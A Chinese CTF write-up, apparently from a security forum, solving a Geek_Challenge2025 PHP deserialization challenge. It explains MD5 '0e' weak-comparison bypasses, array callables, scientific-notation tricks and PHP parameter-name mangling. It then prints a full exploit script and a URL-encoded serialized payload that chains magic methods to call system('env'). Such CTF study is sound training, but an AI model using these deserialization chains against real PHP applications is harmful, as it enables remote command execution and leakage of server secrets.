返回
3
0

php非法传参绕过

G3ng4r,2026-04-14 13:04

利用链:

Plaintext
__destruct() __set() __call() __tostring() __invoke()

几个难点

  • KiraKiraAyu和K4per的值要弱比较相同但是强比较不相同,弱比较时对于科学计数法表示的字符串会强制转化为数字,就是需要构造md5(md5($this->KiraKiraAyu)md5($this->K4per)都是0e 开头、后面为纯数字的字符串

  • 需要满足$fox()==="summer"才能进if代码块,原来的想法是用匿名函数function(){return "summer";},但是php不支持序列化属性为匿名函数Fatal error: Uncaught Exception: Serialization of 'Closure' is not allowed,使用数组绕过,['ClassName', 'MethodName']可以作为回调函数(Callable)执行,调用summer类中的find_myself()返回了字符串summer

  • strlen(args[0])<4 && ($args[0])<4 && ($args[0]+1)>10000同样采用使用科学计数法的字符串绕过,strlen()只计算字符串长度

  • 很多师傅没打通的原因是因为传入序列化字符串时,参数名中出现了下划线和点,这里需要非法传参绕过:php8 以下,传入的参数名的第一个[字符会转化为下划线,之后的点号会正常传入;否则,点号会被转化为下划线,我们传参应该是?24[SYC.zip

完整的exp

Plaintext
<?php show_source(__FILE__); error_reporting(0); class All_in_one { public $KiraKiraAyu; public $_4ak5ra; public $K4per; public $Samsāra; public $komiko; public $Fox; public $Eureka; public $QYQS; public $sleep3r; public $ivory; public $L; //对象被销毁时触发 public function __destruct(){ echo "你能让K4per和KiraKiraAyu组成一队吗<br>"; if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) { //弱比较相同,但是强比较不相同 if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){ die("boys和而不同<br>"); } if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){ echo "BOY♂ sign GEEK<br>"; echo "开启循环吧<br>"; //给不存在的成员属性赋值,考虑set() $this->QYQS->partner = "summer"; } else { echo "BOY♂ can`t sign GEEK<br>"; echo md5(md5($this->KiraKiraAyu))."<br>"; echo md5($this->K4per)."<br>"; } } else{ die("boys堂堂正正"); } } //给不存在的成员属性赋值时触发 public function __set($name, $value){ echo "他还是没有忘记那个".$value."<br>"; echo "收集夏日的碎片吧<br>"; $fox = $this->Fox; if ( !($fox instanceof All_in_one) && $fox()==="summer"){ echo "QYQS enjoy summer<br>"; echo "开启循环吧<br>"; $komiko = $this->komiko; $komiko->Eureka($this->L, $this->sleep3r); } } //调用一个不存在的方法时触发 public function __call($method, $args){ //args[1]被当成字符串处理了,考虑__tostring if (strlen($args[0])<4 && ($args[0]+1)>10000){ echo "再走一步<br>"; echo $args[1]; } else{ echo "你要努力进窄门<br>"; } } //对象被当做字符串处理时触发 public function __tostring(){ echo "再走一步...<br>"; $a = $this->_4ak5ra; $a(); } //对象被当做函数处理时触发 public function __invoke(){ echo "恭喜成功signin!<br>"; echo "welcome to Geek_Challenge2025!<br>"; $f = $this->Samsāra; $arg = $this->ivory; $f($arg); } } class summer { public static function find_myself(){ return "summer"; } } $a = new All_in_one(); $a->KiraKiraAyu = "jdk45GyM"; $a->K4per = "s878926199a"; $a->QYQS = new All_in_one(); $a->QYQS->Fox = array('summer', 'find_myself'); $a->QYQS->komiko = new All_in_one(); $a->QYQS->L = "1e9"; $a->QYQS->sleep3r = new All_in_one(); $a->QYQS->sleep3r->_4ak5ra = new All_in_one(); $a->QYQS->sleep3r->_4ak5ra->Samsāra = "system"; $a->QYQS->sleep3r->_4ak5ra->ivory = "env"; echo urlencode(serialize($a)); ?>

生成的payload

Plaintext
O%3A10%3A%22All_in_one%22%3A11%3A%7Bs%3A11%3A%22KiraKiraAyu%22%3Bs%3A8%3A%22jdk45GyM%22%3Bs%3A7%3A%22_4ak5ra%22%3BN%3Bs%3A5%3A%22K4per%22%3Bs%3A11%3A%22s878926199a%22%3Bs%3A8%3A%22Sams%C4%81ra%22%3BN%3Bs%3A6%3A%22komiko%22%3BN%3Bs%3A3%3A%22Fox%22%3BN%3Bs%3A6%3A%22Eureka%22%3BN%3Bs%3A4%3A%22QYQS%22%3BO%3A10%3A%22All_in_one%22%3A11%3A%7Bs%3A11%3A%22KiraKiraAyu%22%3BN%3Bs%3A7%3A%22_4ak5ra%22%3BN%3Bs%3A5%3A%22K4per%22%3BN%3Bs%3A8%3A%22Sams%C4%81ra%22%3BN%3Bs%3A6%3A%22komiko%22%3BO%3A10%3A%22All_in_one%22%3A11%3A%7Bs%3A11%3A%22KiraKiraAyu%22%3BN%3Bs%3A7%3A%22_4ak5ra%22%3BN%3Bs%3A5%3A%22K4per%22%3BN%3Bs%3A8%3A%22Sams%C4%81ra%22%3BN%3Bs%3A6%3A%22komiko%22%3BN%3Bs%3A3%3A%22Fox%22%3BN%3Bs%3A6%3A%22Eureka%22%3BN%3Bs%3A4%3A%22QYQS%22%3BN%3Bs%3A7%3A%22sleep3r%22%3BN%3Bs%3A5%3A%22ivory%22%3BN%3Bs%3A1%3A%22L%22%3BN%3B%7Ds%3A3%3A%22Fox%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22summer%22%3Bi%3A1%3Bs%3A11%3A%22find_myself%22%3B%7Ds%3A6%3A%22Eureka%22%3BN%3Bs%3A4%3A%22QYQS%22%3BN%3Bs%3A7%3A%22sleep3r%22%3BO%3A10%3A%22All_in_one%22%3A11%3A%7Bs%3A11%3A%22KiraKiraAyu%22%3BN%3Bs%3A7%3A%22_4ak5ra%22%3BO%3A10%3A%22All_in_one%22%3A11%3A%7Bs%3A11%3A%22KiraKiraAyu%22%3BN%3Bs%3A7%3A%22_4ak5ra%22%3BN%3Bs%3A5%3A%22K4per%22%3BN%3Bs%3A8%3A%22Sams%C4%81ra%22%3Bs%3A6%3A%22system%22%3Bs%3A6%3A%22komiko%22%3BN%3Bs%3A3%3A%22Fox%22%3BN%3Bs%3A6%3A%22Eureka%22%3BN%3Bs%3A4%3A%22QYQS%22%3BN%3Bs%3A7%3A%22sleep3r%22%3BN%3Bs%3A5%3A%22ivory%22%3Bs%3A3%3A%22env%22%3Bs%3A1%3A%22L%22%3BN%3B%7Ds%3A5%3A%22K4per%22%3BN%3Bs%3A8%3A%22Sams%C4%81ra%22%3BN%3Bs%3A6%3A%22komiko%22%3BN%3Bs%3A3%3A%22Fox%22%3BN%3Bs%3A6%3A%22Eureka%22%3BN%3Bs%3A4%3A%22QYQS%22%3BN%3Bs%3A7%3A%22sleep3r%22%3BN%3Bs%3A5%3A%22ivory%22%3BN%3Bs%3A1%3A%22L%22%3BN%3B%7Ds%3A5%3A%22ivory%22%3BN%3Bs%3A1%3A%22L%22%3Bs%3A3%3A%221e9%22%3B%7Ds%3A7%3A%22sleep3r%22%3BN%3Bs%3A5%3A%22ivory%22%3BN%3Bs%3A1%3A%22L%22%3BN%3B%7D
7.png
暂无回复。你的想法是什么?


bottom-logo1
bottom-logo2captionbottom-logo3
GeeSec
商务合作
bottom-logo4